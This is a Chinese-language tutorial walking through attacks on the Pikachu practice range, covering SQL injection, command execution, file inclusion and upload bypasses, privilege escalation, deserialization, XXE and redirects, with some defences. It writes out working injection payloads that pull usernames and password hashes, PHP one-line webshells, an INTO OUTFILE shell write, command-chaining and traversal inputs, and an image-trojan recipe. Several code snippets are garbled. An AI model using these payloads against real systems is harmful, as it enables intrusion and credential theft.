MYSQL小知識補充: information_ schema
在mysq|中,自帶的information_schema這個錶裏面存放了大量的重要信息。具體如下:
如果存在注入點的話,可以直接嘗試對該數據庫進行訪問,從而獲取更多的信息。
比如:
SCHEMATA錶:提供了當前mysq|實例中所有數據庫的信息。是show databases的結果取之此錶。
TABLES錶:提供了關於數據庫中的錶的信息(包括視圖)。詳細錶述了某個錶屬於哪個schema ,錶類型,錶引擎,創建時間等信息。是show tables from schemaname的結果取之此錶。
COLUMNS錶:提供了錶中的列信息。詳細錶述了某張錶的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此錶。

以字符型為栗子,我們站在測試者的角度判斷是否存在SQL注入漏洞,以及如何獲取數據。
我們先輸入一個單引號進行測試。提交發現出現報錯。在這裏插入圖片描述
在單引號處出現了語法錯誤,那麼我們就會知道我們輸入的單引號已經被拼接到SQL裏面了。也就意味著這裏存在著SQL注入漏洞。它會把前端輸入當作數據庫裏的一部分邏輯去處理。
我們猜測是字符型的,去做一個小測試。
輸入kobe' or 1=1#,然後點擊提交。
在這裏插入圖片描述
結果發現可以遍曆出數據。但是現在的結果並不能滿足我們。我們可以在獲取一下它的基礎信息。我們使用聯合查詢,在聯合查詢之前我們先使用order by,確定有多少個字段。輸入kobe' order by 3#,出現報錯。
在這裏插入圖片描述
輸入kobe' order by 2#
在這裏插入圖片描述
成功查詢出來了,我們可以確定這裏主查詢有兩個字段。確定字段之後我們就可以做聯合查詢。想要獲取information_ schema中的數據,至少要知道數據庫名稱。

kobe' union select database(),user()#

在這裏插入圖片描述
數據庫名稱為pikachu。拿到名稱後我們就可以通過information_ schema去獲取數據。通過union聯合查詢,然後通過information_ schema去獲取pikachu一共有多少個錶,錶的名稱是什麼。

kobe' union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#


除了正常的查詢,pikachu數據庫中所有錶的名稱也被我們爆出來了。我們進一步分析,我們發現有一個錶名叫做users,我們可以猜測是不是所有的用戶名密碼都在其中。

kobe' union select table_name,column_name from information_schema.columns where table_name='users'#

在這裏插入圖片描述
我們可以發現有賬號密碼。是不是我們能够拿到賬號密碼呢?現在其實已經很簡單了。

kobe' union select username,password from users#

在這裏插入圖片描述
賬號密碼已經到手,但是我們可以看出密碼是做過加密處理的,根據長度我們可以判斷應該MD5加密,我們可以在網上做一些碰撞,解出明文。在這裏插入圖片描述
這是我們的目的已經達成了。

3.4.5SQL Inject漏洞手工測試:基於報錯的信息獲取(select/delete/update/insert)

技巧思路:
在MYSQL中使用一些指定的函數來制造報錯,從而從報錯信息中獲取設定的信息。select/insert/update/delete都可以使用報錯來獲取信息。
背景條件:
後臺沒有屏蔽數據庫報錯信息,在語法發生錯誤時會輸出在前端。

基於報錯的信息獲取------三個常用的用來報錯的函數
updatexml() :函數是MYSQL對XML文檔數據進行查詢和修改的XPATH函數。
extractvalue():函數也是MYSQL對XML文檔數據進行查詢的XPATH函數。
floor(): MYSQL中用來取整的函數。

updatexml()
Updatexm()函數作用: 改變(查找並替換) XML文檔中符合條件的節點的值。
語法: UPDATEXML (xml document, XPathstring, new_value)

第一個參數: fiedname是String格式,為錶中的字段名。
第二個參數: XPathstring (Xpath格式的字符串)。
第三個參數: new. value,String格式,替換查找到的符合條件的

Xpath定比特必須是有效的,否則會發生錯誤。
Select下報錯的利用演示
我們還是那字符型注入做演示,首先我們應該判斷有沒有報錯,會不會在前端顯示。我們輸入單引號,發現有注入報錯。在這裏插入圖片描述
現在我們構造一個報錯。

kobe' and updatexml(1,version(),0)#

在這裏插入圖片描述
.26什麼鬼東西,它並沒有把version對應的版本號爆出來。現在對payload進行改造。

kobe' and updatexml(1,concat(0x7e,version()),0)#

在這裏插入圖片描述
我們已經獲取到了版本號。現在我們可以把version替換成任意我們想要獲得的東西。

kobe' and updatexml(1,concat(0x7e,database()),0)#

在這裏插入圖片描述
數據庫名稱已經獲取。我們在進行進一步查詢。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

在這裏插入圖片描述
報錯返回的數據多餘一行。說明報錯有多行。再次進行處理。可以使用limit一次一次進行獲取錶名。

kobe' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0)#

在這裏插入圖片描述
我們可以得到第一個錶名。想要得到第二個錶名只要把0改成1即可。依此類推,可以得到所有錶名。在獲取錶名之後,思路一樣,獲取列名。

kobe' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),0)#

在這裏插入圖片描述
同樣的依此類推,得到所有列名。在獲取列名後,再來獲取數據。

kobe' and updatexml(1,concat(0x7e,(select username from users limit 0,1)),0)#

在這裏插入圖片描述
獲取了第一個用戶名,再根據用戶名查詢密碼。

kobe' and updatexml(1,concat(0x7e,(select password from users where username='admin' limit 0,1)),0)#

在這裏插入圖片描述
獲取MD5加密的密文,解密獲取明文密碼。
insert/update注入
我們點擊注册
在這裏插入圖片描述
一樣的方法判斷是否有SQL注入漏洞,經過判斷之後發現存在SQL漏洞。重點在於怎麼構造insert的payload。

用戶名輸入xiaohong' or updatexml(1,concat(0x7e,database()),0) or '

密碼隨意。點擊提交。
在這裏插入圖片描述
得到數據庫名。思路一樣把database做替換,得到想要的信息。
update與insert是一模一樣的。我們先登錄用戶。

在這裏可能會有人顯示不出來信息,可以參考解决方案。
在使用pikachu的時候發現一點問題,好像是由php版本較高導致的不兼容,如圖:
在這裏插入圖片描述
在這裏我們打開這個路徑,找到第70行,把MYSQL_ASSOC改成MYSQLI_ASSOC,保存文件,刷新網頁。就可以啦。
原因:在php7中,MYSQL_ASSOC不再是一個常量,將 MYSQL_ASSOC改為MYSQLI_ASSOC,意思是mysqli的方式提取數組,而不再是mysql 。(原因:mysql_fetch_arrayhan函數轉為mysqli_fetch_array,參數沒有修改)

在這裏插入圖片描述
這個修改就是通過update。這裏就存在update漏洞。我們輸入剛剛的payload。
在這裏插入圖片描述
爆出數據庫名稱,之後邏輯就一樣了。
delete注入
點擊删除留言,留言被删除,我們打開burp查看抓包。
在這裏插入圖片描述
將其發送到Repeater。我們可以把id構成閉合。

1 or updatexml(1,concat(0x7e,database()),0)

選中右鍵,convert selection,對其進行url編碼。
在這裏插入圖片描述
按照我們的期望返回了數據庫名稱。
extractvalue()
extractvalue()函數作用:從目標XML中返回包含所查詢值的字符串。
語法: ExtractValue(xm| _document, xpath. string)

第一個參數: XML document是String格式,為XML文檔對象的名稱,文中為Doc
第二個參數: XPath_ string (Xpath格式的字符串)

Xpath定比特必須是有效的,否則會發生錯誤。
打開字符型注入,輸入payload。

kobe' and extractvalue(0,concat(0x7e,version()))#

在這裏插入圖片描述
效果差不多,理解即可。
floor()
在字符型中輸入payload得到版本號。

kobe' and (select 2 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)#

在這裏插入圖片描述
同樣進行替換我們可以得到其他你想知道的東西。

3.4.6SQL注入漏洞-基於http header的注入

什麼是Http Header注入
有些時候,後臺開發人員為了驗證客戶端頭信息(比如常用的cookie驗證)
或者通過http header頭信息獲取客戶端的一些信息,比如useragent、accept字段等等。
會對客戶端的http header信息進行獲取並使用SQL進行處理,如果此時沒有足够的安全考慮,則可能會導致基於http header的SQL Inject漏洞。

點擊提示,獲得賬號密碼,登錄賬號。
在這裏插入圖片描述
後臺對HTTP頭數據進行了獲取,進行了相關的數據庫操作。
我們通過burp的數據包進行測試。
在這裏插入圖片描述
將其發送到repeater。修改agent為單引號提交,查看結果。

在這裏插入圖片描述
判斷有SQL注入漏洞。輸入我們的payload

firefox' or updatexml(1,concat(0x7e,database()),0) or '

在這裏插入圖片描述
返回了數據庫名稱。

3.4.7SQL注入漏洞-盲注( boolian base )原理及測試

什麼是盲注?
在有些情况下,後臺使用了錯誤消息屏蔽方法(比如@ )屏蔽了報錯
此時無法在根據報錯信息來進行注入的判斷。
這種情况下的注入,稱為“盲注"
根據錶現形式的不同,盲注又分為based boolean和based time兩種類型

基於boolean的盲注主要錶現症狀:

0.沒有報錯信息
1.不管是正確的輸入,還是錯誤的輸入,都只顯示兩種情况(我們可以認為是0或者1)
2.在正確的輸入下,輸入and 1= 1/and 1= 2發現可以判斷

打開Boolean的盲注,輸入

kobe' and 1=1#

在這裏插入圖片描述
打印了正確的kobe的信息。我們再把一改成二輸入。
在這裏插入圖片描述
對比說明存在SQL注入漏洞。我們嘗試之前的方法發現都行不通。

kobe' and ascii(substr(database(),1,1))>113#

在這裏插入圖片描述
查詢不存在,改為=112。
在這裏插入圖片描述
顯示正確信息。
112對應的字母就是p,數據庫的第一個字符就是p。依次修改得到數據庫名字。之後思路就打開了。

3.4.8SQL注入漏洞盲注( time base )原理及測試

如果說基於boolean的窗注在頁面上還可以看到0 or 1的回顯的話
那麼基於time的盲注完全就啥都看不到了!
但還有一個條件,就是“時間”, 通過特定的輸入,判斷後臺執行的時間,從而確認注入!
常用的Teat Payload:
kobe’ and sleep(5)#
看看輸入: kobe和輸入kobe and sleep(5)#的區別,從而判斷這裏存在based time的SQL注入漏洞。
打開基於時間的盲注。輸入單引號。
在這裏插入圖片描述
我們進行其他嘗試都是一樣的結果。我們打開web控制器。打開網絡,輸入

kobe' and sleep(5)#

在這裏插入圖片描述

我們發現頁面沒有立刻返回前端頁面,而是暫停了5.12毫秒,說明執行了我們的payload。說明存在一個基於時間的payload。

kobe' and if((substr(database(),1,1))='p',sleep(5),null)#

時間停止了5秒,則說明第一個字符是p。如果時間不停止,則說明不是p。

3.4.9os遠程控制

一句話木馬
一句話木馬是一種短小而精悍的木馬客戶端,隱蔽性好,且功能强大。
PHP: < ?php @eval($_ POST’chopper’]);?>
ASP: < %eval request(" chopper")%>
ASP.NET: <%@ Page Language= Jscript" %> <%eval(Request.Item"chopper"], "unsafe );%>

select 1,2 into outfile “/var/www/html/1.txt”
into outfile 將select的結果寫入到指定目錄的1.txt中
在一些沒有回顯的注入中可以使用into outfile將結果寫入到指定文件,然後訪問獲取
前提條件:
1.需要知道遠程目錄
2.需要遠程目錄有寫權限
3.需要數據庫開啟了secure_ file_ priv
字符型注入:
獲取操作系統權限:

kobe' union select "<?php @eval($_GET['test'])?>",2 into outfile "/val/www/html/1.php"#

3.4.10SQL Inject漏洞之錶(列)名的暴力破解

字符型注入舉例
payload:

kobe' and exists(select * from aa)# kobe' and exists(select id from users)#

在這裏插入圖片描述
輸入第一個payload,返回結果說明沒有這個錶。打開burp抓包,發送到intrudder。思路與暴力破解一樣。clear之後選中aa,進行替換。
在這裏插入圖片描述
用這個方法我們可以猜出錶名。
在這裏插入圖片描述
同樣的我們也可以用第二個payload猜出列名。

3.4.11如何使用SQL-Map進行SQL Inject漏洞測試

可以直接去官網下載壓縮包https://sqlmap.org/
sqlmap經典用法
第一步:
-u "xx” - cookie= “yy” //帶上cookie對URL進行注入探測
第二步:
-U “xxx” – cookie=
“yyy” - current-db //對數據庫名進行獲取
第三步:
-u "xxx” --cookie= “yy” - D pikachu - -tables //對數據庫的錶名進行枚舉
第四步:
-u “xxx” --cookie= “yyy” -D pikachu -T users – columns //對dvwa庫裏面的名為users錶的列名進行枚舉

3.4.12SQL注入漏洞常見防範措施

●代碼層面
1.對輸入進行嚴格的轉 義和過濾
2.使用預處理和參數化 ( Parameterized )
●網路層面
1.通過WAF設備啟用防SQL Inject注入策略(或類似防護系統)
2.雲端防護( 360網站衛士,阿裏雲盾等)
PHP防範轉義+過濾

轉義舉例

function escape($link, $data){

if(is_ string($data)){

return mysqli_ real_ escape_ string($ink, $data) ;
}
if(is_ array($data)){

foreach ($data as $key=>$va1){

$data[$key]=e S cape($link, $val);
}
}
return $data;
}

過濾舉例:(黑名單)

str_ replace("%",",$_ POST['username ]),把post裏面的數據裏面含有%的替換成空

PDO預處理
推薦做法:使用PDO的prepare預處理(預處理+參數化)

$username=$_ GET[ ' username' ];
$password=$_ GET[ ' password']; try{

$pdo=new PDO( ' mysql : host=localhost ; dbname-ant', ' root'' root');
$sq1="select * from admin where username=? and passowrd=?" ;
$stmt=$pdo->prepare ($sql);//先不傳參數,先預處理
//var_ dump($stmt);
$stmt-> execute(array($username ,$password));
/ /這個時候在把參數傳進去,以索引數組的方式傳進去,而不是拼接,就成功防止了注入
}catch (PDOException $e){

echo $e- >getMessage();
?>

網絡防護
在這裏插入圖片描述
在這裏插入圖片描述

3.5RCE(代碼執行/命令執行)

RCE(remote command/code execute)概述
RCE漏洞,可以讓攻擊者直接向後臺服務器遠程注入操作系統命令或者代碼,從而控制後臺系統。
遠程系統命令執行
一般出現這種漏洞,是因為應用系統從設計上需要給用戶提供指定的遠程命令操作的接口
比如我們常見的路由器、防火牆、入侵檢測等設備的web管理界面上
一般會給用戶提供一個ping操作的web界面,用戶從web界面輸入目標IP,提交後,後臺會對該IP地址進行一次ping測試,並返回測試結果。 而,如果,設計者在完成該功能時,沒有做嚴格的安全控制,則可能會導致攻擊者通過該接口提交“意想不到”的命令,從而讓後臺進行執行,從而控制整個後臺服務器
現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作。 在這種平臺上往往會出現遠程系統命令執行的漏洞,不信的話現在就可以找你們運維部的系統測試一下,會有意想不到的"收獲"-_-

遠程代碼執行
同樣的道理,因為需求設計,後臺有時候也會把用戶的輸入作為代碼的一部分進行執行,也就造成了遠程代碼執行漏洞。 不管是使用了代碼執行的函數,還是使用了不安全的反序列化等等。
因此,如果需要給前端用戶提供操作類的API接口,一定需要對接口輸入的內容進行嚴格的判斷,比如實施嚴格的白名單策略會是一個比較好的方法。

打開pikachu靶場exec"ping",可以先試一下本地地址,ping127.0.0.1。
在這裏插入圖片描述
ping出來的結果很正常,但是這個中文全變成亂碼了。/(ㄒoㄒ)/~~
查看源碼,發現對輸入沒有處理之後我們還是一手拼接

127.0.0.1 & ipconfig

在這裏插入圖片描述
依舊亂碼,不過結果一樣,說明這裏除了可以提交目標IP地址外,還可以通過一些拼接的符號執行其他的命令。

exec"evel",更簡單。隨意輸入字符,返回文字。
eval(輸入)也就是執行任何我們輸入的數據,輸入phpinfo();
在這裏插入圖片描述
那麼這裏學習一個php函數
system("")執行外部程序,並且顯示輸出。

3.6Files Inclusion(文件包含漏洞)

3.6.1文件包含原理及本地文件包含漏洞

文件包含漏洞概述
在web後臺開發中,程序員往往為了提高效率以及讓代碼看起來更加簡潔,會使用”包含"函數功能。
比如把一系列功能函數都寫進fuction.php中,之後當某個文件需要調用的時候就直接在文件頭中寫上
一句<?php include fuction.php?>就可以調用函數代碼。
但有些時候,因為網站功能需求,會讓前端用戶選擇需要包含的文件(或者在前端的功能中使用了”包含”功能),又由於開發人員沒有對要包含的這個文件進行安全考慮,就導致攻擊著可以通過修改包含文件的比特置來讓後臺執行任意文件(代碼)。這種情况我們稱為"文件包含漏洞”
文件包含漏洞有"本地文件包含漏洞”和"遠程文件包含漏洞”兩種情况。
在這裏插入圖片描述
通過include()或require()語句,可以將PHP文件的內容插入另一一個PHP文件(在服
務器執行它之前)。
include和require語句是相同的,除了錯誤處理方面:
require會生成致命錯誤( E_ COMPILE ERROR )並停止脚本
include只生成警告( E WARNING ) ,並且脚本會繼續

Test. php:
<?php $co1or= '銀色的' ; $car= '奔馳轎車'; ?>
Index. html :
<html> <body> <h1> 歡迎訪問我的首頁! </h1>
<?php include
'test .php'; echo "我有一輛”. $color . $car "
?>
</body> </html>

打開 file include 本地文件包含,點擊wyd提交查詢。
在這裏插入圖片描述

我們觀察url,顯示是一個文件file1.php。
在這裏插入圖片描述
按照設計這些文件都是後臺自己存在的文件。但是由於這個文件名是前端傳向後臺的,也就意味著我們可以修改這個文件。
我們可以猜測一下後臺的操作系統是win11,其中有很多固定的配置文件例如…/…/…/…/…/…/
可以多敲幾個,最後都會跳到根目錄。我們將文件名替換

../../../../Windows/System32/drivers/etc/hosts

在這裏插入圖片描述
所有的配置文件就暴露出來了。

3.6.2遠程文件包含漏洞

遠程文件包含漏洞形式跟本地文件包含漏洞差不多,在遠程包含漏洞中,攻擊者可以通過訪問外部地址來加載遠程的代碼。
遠程包含漏洞前提:如果使用的incldue和require ,則需要php.ini配置如下( php5.4.34 ) :
allow_url_fopen=on//默認打開
Allow_url_include=on//默認關閉
寫入一句話木馬,危害極大。
我們現在phpstudy打開遠程包含,否則無法進行靶場訓練。
在這裏插入圖片描述
還是選擇一個文件提交,顯示圖片文字,觀察url。
在這裏插入圖片描述
它實際上提交的是一個目標文件的路徑。我們可以改成一個遠端的路徑,讀取遠程文件。

http://pikachu/test/yijuhua.txt

在這裏插入圖片描述
將文件替換為遠端路徑,回車,會在本地生成php文件。
在這裏插入圖片描述
對x傳參,x=ifconfig。
請添加圖片描述
亂碼是因為靶場搭載windows上了。也可以使用哥斯拉、冰蠍等工具。

3.6.3文件包含漏洞防範措施

0.在功能設計上盡量不要將文件包含函數對應的文件放給前端進行選擇和操作。
1.過濾各種./. ,http:// ,https://
2.配置php.ini配置文件:
allow_ url fopen = off
Allow_ url include= off
magic quotes_ gpc=on //gpc在
3.通過白名單策略,僅允許包含運行指定的文件,其他的都禁止。

3.7 Unsafe file downloads(不安全的文件下載)

很多網站都會提供文件下載功能,即用戶可以通過點擊下載鏈接,下載到鏈接所對應的文件。但是,如果文件下載功能設計不當,則可能導致攻擊著可以通過構造文件路徑,從而獲取到後臺服務器上的其他的敏感文件。( 又稱:任意文件下載)
打開 unsafe filedownload 不安全的文件下載,正常功能點擊球員名字,就可以下載圖片。
在這裏插入圖片描述

我們觀察點擊名字後的url。
在這裏插入圖片描述
相當於把ai.png傳到後臺,後臺去找這個文件,把文件讀取之後,傳到前端下載。
我們點擊科比,將url,改為ai.png。
在這裏插入圖片描述

我們還可以使用目錄遍曆的方式去修改鏈接下載敏感文件。
防範措施:
1.對傳入的文件名進行嚴格的過濾和限定
2.對文件下載的目錄進行嚴格的限定

3.8 Unsafe file uploads(不安全的文件上傳)

3.8.1不安全的文件上傳原理及客戶端繞過

因為業務功能需要,很多web站點都有文件上傳的接口,比如:
1.注册時上傳頭像圖片(比如jpg.png,gif等) ;
2.上傳文件附件( doc,xIs等) ;
而在後臺開發時並沒有對上傳的文件功能進行安全考慮或者采用了有缺陷的措施,導致攻擊者可以通過一些手段繞過安全措施從而上傳一些惡意文件(如:一句話木馬)從而通過對該惡意文件的訪問來控制整個web後臺。

文件上傳漏洞測試流程:
1,對文件上傳的地方按照要求上傳文件,查看返回結果(路徑,提示等);
2 ,嘗試上傳不同類型的“惡意"文件,比如xx.php文件,分析結果;
3,查看html源碼,看是否通過js在前端做了上傳限制,可以繞過;
4 ,嘗試使用不同方式進行繞過:黑白名單繞過/MIME類型繞過/目錄0x00截斷繞過等;
5,猜測或者結合其他漏洞(比如敏感信息泄露等)得到木馬路徑,連接測試。

打開 unsafe upfileupload 客戶端check,我們瀏覽上傳文件發現,只能上傳照片。
在這裏插入圖片描述
上傳其他類型的文件會被前端提示,這個限制就有可能是從前端進行限制的。打開瀏覽器控制臺查看。
在這裏插入圖片描述
再查看源碼
在這裏插入圖片描述
通過前端對文件進行了限制。我們可以直接修改代碼,把onchange的函數删掉。
在這裏插入圖片描述
在這裏插入圖片描述
php文件一句話木馬成功上傳。之後就可以給特定值傳命令,執行操作。

3.8.2上傳漏洞之MINE type驗證原理和繞過

MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。
每個MIME類型由兩部分組成,前面是數據的大類別,例如聲音audio、圖象image等,後面定義具體的種類。常見的MIME類型,比如:
超文本標記語言文本.html.html texthtml
普通文本.txt text/plain
RTF文本.rtf application/rtf
GIF圖形.gif image/gif
JPEG圖形.ipeg.jpg image/jpeg

通過使用PHP的全局數組$_ FILES ,你可以從客戶計算機向遠程服務器上傳文件。
第一個參數是錶單的input name,第二個下標可以是"name", “type”, “size”, “tmp_ name” 或"error"

同樣先測試功能,上傳圖片沒有問題,點擊上傳php文件,有錯誤提示。
在這裏插入圖片描述
先上傳一個正常的圖片,在上傳一個php文件,打開burp抓包。
在這裏插入圖片描述
上傳圖片,顯示image/png上傳成功。
在這裏插入圖片描述
上傳php文件,顯示application/octet-stream上傳失敗。將上傳php文件的包發送到repeater,將application/octet-stream修改為image/png。
在這裏插入圖片描述
通過http頭的修改繞過了MINE type驗證成功亂搞。之後就是訪問傳參,通過一句話木馬控制服務器。

3.8.3文件上傳之getimagesize繞過和防範措施

Getimagesize ( )返回結果中有文件大小和文件類型,如果用這個函數來獲取類型,從而判斷是否是圖片的話,會存在問題。
是否可以繞過呢?可以,因為圖片頭可以被偽造。
圖片木馬的制作:
方法1 :直接偽造頭部GIF89A
方法2.CMD: copy /b test.png + muma.php ccc.png
方法3.使用GIMP (開源的圖片修改軟件) , 通過增加備注,寫入執行命令
測試功能,沒有問題,開始制作木馬圖片。這裏使用第二種方法。
進入桌面,先輸入命令dir,保證可以找到你需要的文件。
在這裏插入圖片描述

生成木馬圖片。

在這裏插入圖片描述

在這裏插入圖片描述
打開展示完全沒有問題,但是在16進制中圖片內容加入了一句話木馬內容。
在這裏插入圖片描述
成功上傳木馬圖片。我們訪問這個圖片但是一句話並沒有執行,這時候就需要結合本地文件包含漏洞搞事情。打開文件包含漏洞 file include,上傳圖片,修改路徑。就可以執行phpinfo。
在這裏插入圖片描述
防範措施:
不要在前端使用JS實施上傳限制策略
通過服務端對上傳文件進行限制:
1.進行多條件組合檢查:比如文件的大小,路徑,擴展名,文件類型,文件完整性
2.對上傳的文件在服務器上存儲時進行重命名(制定合理的命名規則)
3.對服務器端上傳文件的目錄進行權限控制(比如只讀), 限制執行權限帶來的危害

3.9 Over Permisson(越權漏洞)

3.9.1越權漏洞原理及水平越權

越權漏洞概述
由於沒有用戶權限進行嚴格的判斷,導致低權限的賬號(比如普通用戶)可以去完成高權限賬號( 比如超級管理員)範圍內的操作。
平行越權: A用戶和B用戶屬於同一級別用戶,但各自不能操作對方個人信息, A用戶如果越權操作B用戶的個人信息的情况稱為平行越權操作
垂直越權。A用戶權限高於B用戶 , B用戶越權操作A用戶的權限的情况稱為垂直越權。
越權漏洞屬於邏輯漏洞,是由於權限校驗的邏輯不够嚴謹導致。
每個應用系統其用戶對應的權限是根據其業務功能劃分的,而每個企業的業務又都是不一樣的。
因此越權漏洞很難通過掃描工具發現出來,往往需要通過手動進行測試。

平行越權,先進行登錄,提示裏查看賬號密碼。有一個功能點擊查看個人信息。
在這裏插入圖片描述
再點擊按鈕時,向後臺提供了一個get請求。提供了當前用戶的用戶名,然後後臺將其信息返回到前臺。我們在url中把Lucy改成其他人看看能不能查到信息。
在這裏插入圖片描述
雖然登錄的是Lucy的賬號但是返回了lili的信。

3.9.2垂直越權

先登錄超級管理員,去執行只有管理員才可以操作的新增賬號的功能,用burp抓包。退出登錄。登錄普通用戶,執行新增賬號操作。如果成功,則存在垂直越權漏洞。
登錄管理員。
在這裏插入圖片描述
添加用戶。
在這裏插入圖片描述
burp進行抓包並發送到repeater中。
在這裏插入圖片描述
退出登錄,在repeater中執行。返回登錄界面,要求登錄。
在這裏插入圖片描述
重新登錄管理員,查看是否添加成功。
在這裏插入圖片描述
只有一個666,添加失敗。退出登錄,登錄普通用戶。
在這裏插入圖片描述
刷新頁面,在burp獲取頁面。
在這裏插入圖片描述
cookie就是普通用戶的登錄態。Cookie: PHPSESSID=vfh1qvv694tj1dppt3bamvnhf1
然後找到之前添加用戶的post請求,發送到repeater。
在這裏插入圖片描述
目前的管理員登錄態是退出的,現在我們把這個登錄態換成現在登錄的普通用戶的登錄態。以普通用戶的身份執行管理員操作。點擊執行。返回pikachu,刷新頁面。
在這裏插入圖片描述
又出現了一個666用戶,說明存在垂直越權漏洞。

3.10 …/…/…/(目錄遍曆)

目錄遍曆漏洞概述
在web功能設計中,很多時候我們會要將需要訪問的文件定義成變量,從而讓前端的功能便的更加靈活。 當用戶發起一個前端的請求時,便會將請求的這個文件的值(比如文件名稱)傳遞到後臺,後臺再執行其對應的文件。 在這個過程中,如果後臺沒有對前端傳進來的值進行嚴格的安全考慮,則攻擊者可能會通過“…/”這樣的手段讓後臺打開或者執行一些其他的文件。 從而導致後臺服務器上其他目錄的文件結果被遍曆出來,形成目錄遍曆漏洞。
看到這裏,你可能會覺得目錄遍曆漏洞和不安全的文件下載,甚至文件包含漏洞有差不多的意思,是的,目錄遍曆漏洞形成的最主要的原因跟這兩者一樣,都是在功能設計中將要操作的文件使用變量的 方式傳遞給了後臺,而又沒有進行嚴格的安全考慮而造成的,只是出現的比特置所展現的現象不一樣,因此,這裏還是單獨拿出來定義一下。
需要區分一下的是,如果你通過不帶參數的url(比如:http://xxxx/doc)列出了doc文件夾裏面所有的文件,這種情况,我們成為敏感信息泄露。 而並不歸為目錄遍曆漏洞。(關於敏感信息泄露你你可以在"i can see you ABC"中了解更多)
我們點擊超鏈接
在這裏插入圖片描述
實際上是向後臺發送了一個文件名。我們可以修改文件名。修改成…/dir.php上級目錄下的dir.php,可以發揮想象訪問更多內容。
在這裏插入圖片描述

3.11 I can see your ABC(敏感信息泄露)

由於後臺人員的疏忽或者不當的設計,導致不應該被前端用戶看到的數據被輕易的訪問到。 比如:
---通過訪問url下的目錄,可以直接列出目錄下的文件列錶;
---輸入錯誤的url參數後報錯信息裏面包含操作系統、中間件、開發語言的版本或其他信息;
---前端的源碼(html,css,js)裏面包含了敏感信息,比如後臺登錄地址、內網接口信息、甚至賬號密碼等;
類似以上這些情况,我們成為敏感信息泄露。敏感信息泄露雖然一直被評為危害比較低的漏洞,但這些敏感信息往往給攻擊著實施進一步的攻擊提供很大的幫助,甚至“離譜”的敏感信息泄露也會直接造成嚴重的損失。 因此,在web應用的開發上,除了要進行安全的代碼編寫,也需要注意對敏感信息的合理處理。
我們打開源碼搜索得到測試賬號。

在這裏插入圖片描述
也可直接輸入url,進入。
在這裏插入圖片描述

3.12 PHP反序列化漏洞

在理解這個漏洞前,你需要先搞清楚php中serialize(),unserialize()這兩個函數。
序列化serialize()
序列化說通俗點就是把一個對象變成可以傳輸的字符串,比如下面是一個對象:
在這裏插入圖片描述
反序列化unserialize()就是把被序列化的字符串還原為對象,然後在接下來的代碼中繼續使用。

 $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
echo $u->test; //得到的結果為pikachu

序列化和反序列化本身沒有問題,但是如果反序列化的內容是用戶可以控制的,且後臺不正當的使用了PHP中的魔法函數,就會導致安全問題

常見的幾個魔法函數:
__construct()當一個對象創建時被調用
__destruct()當一個對象銷毀時被調用
__toString()當一個對象被當作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup將在序列化之後立即被調用

 漏洞舉例:
class S{

var $test = "pikachu";
function __destruct(){

echo $this->test;
}
}
$s = $_GET['test'];
@$unser = unserialize($a);
payload:O:1:"S":1:{
s:4:"test";s:29:"<script>alert('xss')</script>";}

隨意輸入一串字符,都會提示一句話。
在這裏插入圖片描述
在這裏插入圖片描述
通過該代碼將class a序列化為

O:1:"s":1:{
s:4:"test";s:30:"<script>alert('fxlh')</script>";}

然後將該序列化後的類傳入後臺,後臺接受後就會將接受到的類進行反序列化,在後面接著使用。
在這裏插入圖片描述
在將序列化後的類執行時,可能會調用相應的構造方法,通過這些構造方法,就會對反序列化的代碼執行,造成一些不可預計的後果。但是在實際情况中,我們往往需要構造多種payload,來測試出後臺往往是使用哪種構造方法,並使用。

3.13 XXE(XML外部實體攻擊)

XXE -“xml external entity injection”
既"xml外部實體注入漏洞"。
概括一下就是"攻擊者通過向服務器注入指定的xml實體內容,從而讓服務器按照指定的配置進行執行,導致問題"
也就是說服務端接收和解析了來自用戶端的xml數據,而又沒有做嚴格的安全控制,從而導致xml外部實體注入。
xml:

<!--第一部分: XML聲明-- > <?xml version="1.0"?> <!--第二部分:文檔類型定義DTID- > <!DOCTYPE note[ <!--定義此文檔是 note類型的文檔-->
<!ENTITY entity - name SYSTEM "URL/URL"> <!- 外部實體聲 明-->
]]>
<1--第三部分:文檔元>
<note>
<to>Dave</to>
<from> Tom</from>
<head> Reminder </head>
<body>You are a good man</body>
</note>

DTD:Document Type Definition即文檔類型定義,用來為XML文檔定義語義約束。

1.DTD內部聲明
<!DOCTYPE 根元素[元素聲明]>
2. DTD外部引用
<!DOCTYPE根元素名稱SYSTEM “"外部DTD的URI" >
3.引用公共DTD
<!DOCTYPE根元素名稱PUBLIC "DTD標識名” “公用DTD的URI” >

如果一個接口支持接收xml數據,且沒有對xml數據做任何安全上的措施,就可
能導致XXE漏洞。
simplexml load string()函數轉換形式良好的XML字符串為SimpleXMLElement對象
XXE漏洞發生在應用程序解析XML輸入時,沒有禁止外部實體的加載,導致攻擊者可以構造一個惡意的XML。
我們輸入

<?xml version = "1.0"?>
<!DOCTYPE note [ <!ENTITY hacker "xxe"> ]>
<name>&hacker;</name>

在這裏插入圖片描述

3.14 不安全的URL重定向

不安全的url跳轉問題可能發生在一切執行了url地址跳轉的地方。
如果後端采用了前端傳進來的(可能是用戶傳參,或者之前預埋在前端頁面的url地址)參數作為了跳轉的目的地,而又沒有做判斷的話
就可能發生"跳錯對象"的問題。

url跳轉比較直接的危害是:
–>釣魚,既攻擊者使用漏洞方的域名(比如一個比較出名的公司域名往往會讓用戶放心的點擊)做掩蓋,而最終跳轉的確實釣魚網站

這個漏洞比較簡單,come on,來測一把!
看到有一些超鏈接,我們都點一遍可以發現,最後一個好像有個url的值,我們修改成https://www.baidu.com/,可以發現它跳轉成https://www.baidu.com/頁面了
在這裏插入圖片描述
在這裏插入圖片描述
熟練後可以的定向轉到提前搭建好的惡意站點。

3.15 SSRF(服務器端請求偽造)

